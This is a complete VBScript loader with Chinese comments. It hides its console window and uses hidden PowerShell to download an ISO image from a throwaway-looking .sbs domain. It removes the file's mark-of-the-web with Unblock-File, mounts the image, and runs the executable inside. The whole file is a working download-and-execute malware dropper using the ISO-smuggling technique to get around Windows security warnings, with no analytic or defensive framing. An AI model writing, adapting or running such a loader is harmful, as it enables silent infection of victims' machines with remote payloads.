Option Explicit

' 如果被 cscript.exe 启动，自动切到 wscript.exe 重跑（消除黑框）
If InStr(1, WScript.FullName, "cscript", vbTextCompare) > 0 Then
    CreateObject("WScript.Shell").Run "wscript.exe """ & WScript.ScriptFullName & """", 0, False
    WScript.Quit
End If

Dim shell, fso, env
Dim downloadUrl, localTempPath, exeRelativePath
Dim psCommand, mountedLetter, fullExePath, retryCount
Dim exeFileName, foundExePath
Dim tmpFile, tmpStream

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set env = shell.Environment("PROCESS")

' ================= 配置区 =================
downloadUrl = "https://djfnfgnf.sbs/ojyg.iso"
localTempPath = env("TEMP") & "\test_disk.iso"
exeRelativePath = "ojyg.exe"
' ==========================================

' 辅助: 运行 PowerShell 并通过临时文件安全读取输出
tmpFile = env("TEMP") & "\vbs_ps_out.txt"

Function RunPsAndRead(cmd)
    Dim fullCmd
    fullCmd = "powershell -WindowStyle Hidden -Command """ & cmd & " | Out-File -FilePath '" & tmpFile & "' -Encoding ascii -NoNewline"""
    shell.Run fullCmd, 0, True
    RunPsAndRead = ""
    If fso.FileExists(tmpFile) Then
        Set tmpStream = fso.OpenTextFile(tmpFile, 1)
        If Not tmpStream.AtEndOfStream Then
            RunPsAndRead = Trim(tmpStream.ReadAll)
        End If
        tmpStream.Close
        fso.DeleteFile tmpFile, True
    End If
End Function

' 1. 下载
psCommand = "powershell -WindowStyle Hidden -Command ""[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '" & downloadUrl & "' -OutFile '" & localTempPath & "'"""
shell.Run psCommand, 0, True

If Not fso.FileExists(localTempPath) Then
    MsgBox "Download Failed! Please check your network.", 16, "Error"
    WScript.Quit
End If

' 解除 Zone.Identifier 标记
shell.Run "powershell -WindowStyle Hidden -Command Unblock-File -Path '" & localTempPath & "'", 0, True

' 2. 先卸载可能残留的旧挂载，再挂载一次
shell.Run "powershell -WindowStyle Hidden -Command ""try { Dismount-DiskImage -ImagePath '" & localTempPath & "' -ErrorAction SilentlyContinue } catch {}""", 0, True
WScript.Sleep 1000

' 挂载 ISO（只执行一次）
shell.Run "powershell -WindowStyle Hidden -Command ""Mount-DiskImage -ImagePath '" & localTempPath & "'""", 0, True
WScript.Sleep 2000

' 3. 轮询获取盘符（最多 20 秒）
Dim pollCount
mountedLetter = ""
pollCount = 0

Do While mountedLetter = "" And pollCount < 10
    mountedLetter = RunPsAndRead("(Get-DiskImage -ImagePath '" & localTempPath & "' | Get-Volume).DriveLetter")
    If mountedLetter = "" Then
        WScript.Sleep 2000
        pollCount = pollCount + 1
    End If
Loop

If mountedLetter = "" Then
    MsgBox "Mount Failed! Cannot get drive letter after 20 seconds.", 16, "Error"
    WScript.Quit
End If

' 4. 等待驱动器文件系统就绪（最长 20 秒）
retryCount = 0
Do While Not fso.DriveExists(mountedLetter & ":\") And retryCount < 10
    WScript.Sleep 2000
    retryCount = retryCount + 1
Loop

If Not fso.DriveExists(mountedLetter & ":\") Then
    MsgBox "Drive " & mountedLetter & ":\ not accessible after mount.", 16, "Error"
    WScript.Quit
End If

' 5. 查找并运行目标 EXE
fullExePath = mountedLetter & ":\" & exeRelativePath
retryCount = 0
Do While Not fso.FileExists(fullExePath) And retryCount < 15
    WScript.Sleep 1000
    retryCount = retryCount + 1
Loop

If fso.FileExists(fullExePath) Then
    shell.Run Chr(34) & fullExePath & Chr(34), 1, False
Else
    exeFileName = fso.GetFileName(exeRelativePath)
    foundExePath = RunPsAndRead("Get-ChildItem -Path '" & mountedLetter & ":\' -Recurse -Filter '" & exeFileName & "' | Select-Object -First 1 -ExpandProperty FullName")

    If foundExePath <> "" Then
        shell.Run Chr(34) & foundExePath & Chr(34), 1, False
    Else
        MsgBox "File not found: " & fullExePath, 48, "Error"
    End If
End If
